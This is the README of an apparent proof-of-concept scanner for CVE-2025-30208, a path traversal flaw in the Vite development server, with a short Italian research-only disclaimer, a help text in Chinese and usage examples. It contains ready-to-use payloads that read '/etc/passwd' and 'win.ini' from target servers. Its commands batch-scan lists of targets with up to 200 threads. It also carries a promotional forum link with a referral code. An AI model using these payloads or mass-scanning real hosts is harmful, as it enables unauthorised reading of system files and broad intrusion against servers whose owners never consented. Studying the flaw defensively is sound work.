isee857/cve-2025-30208-pocVite-CVE-2025-30208 script di rilevamento dinamico, supporta il percorso predefinito, rilevamento dinamico di percorso personalizzato.
La vulnerabilità descritta in questo documento e le relative procedure di riproduzione sono fornite esclusivamente a scopo di ricerca e formazione sulla sicurezza informatica. Nessuno è autorizzato a utilizzare le informazioni qui contenute per scopi illegali o per test non autorizzati su sistemi. L'autore non si assume alcuna responsabilità per danni diretti o indiretti derivanti dall'uso di queste informazioni.
Si prega di citare la fonte!
https://pc.fenchuan8.com/#/index?forum=101158&yqm=DGR4X
usage: vite_check.py [-h] [-f FILE] [-u URL] [-p PAYLOAD] [--proxy PROXY] [-o OUTPUT] [-t THREADS]
Vite路径遍历漏洞检测工具 Author:iSee857
optional arguments:
-h, --help 显示帮助信息
-f FILE, --file FILE 包含目标URL的文件
-u URL, --url URL 单个目标URL
-p PAYLOAD, --payload PAYLOAD
自定义检测路径(支持两种格式):
1. 带检测标识: /path??indicator
2. 仅路径: /path?param=1??
示例:
-p "/@fs/C://windows/win.ini?import&raw??"
-p "/@fs/etc/passwd?import&raw??"
--proxy PROXY 代理服务器地址(如: http://127.0.0.1:8080)
-o OUTPUT, --output OUTPUT
输出文件名(默认: results.xlsx)
-t THREADS, --threads THREADS
并发线程数量(默认: 50，范围: 1-200)```
Esempi d'uso
1. Scansione di un singolo target:
python CVE-2025-30208-PoC.py -u http://example.com -t 5
2. Scansione batch da file di target:
python CVE-2025-30208-PoC.py -f targets.txt -o vuln_results.xlsx
3. Utilizzo di un payload personalizzato:
python CVE-2025-30208-PoC.py -u http://example.com -p "/@fs/etc/passwd?import&raw??"
4. Utilizzo di un proxy per il debug:
python CVE-2025-30208-PoC.py -u http://example.com --proxy http://127.0.0.1:8080
5. Combinazione di parametri:
python CVE-2025-30208-PoC.py -f targets.txt -t 200 -o critical_vulns.xlsx
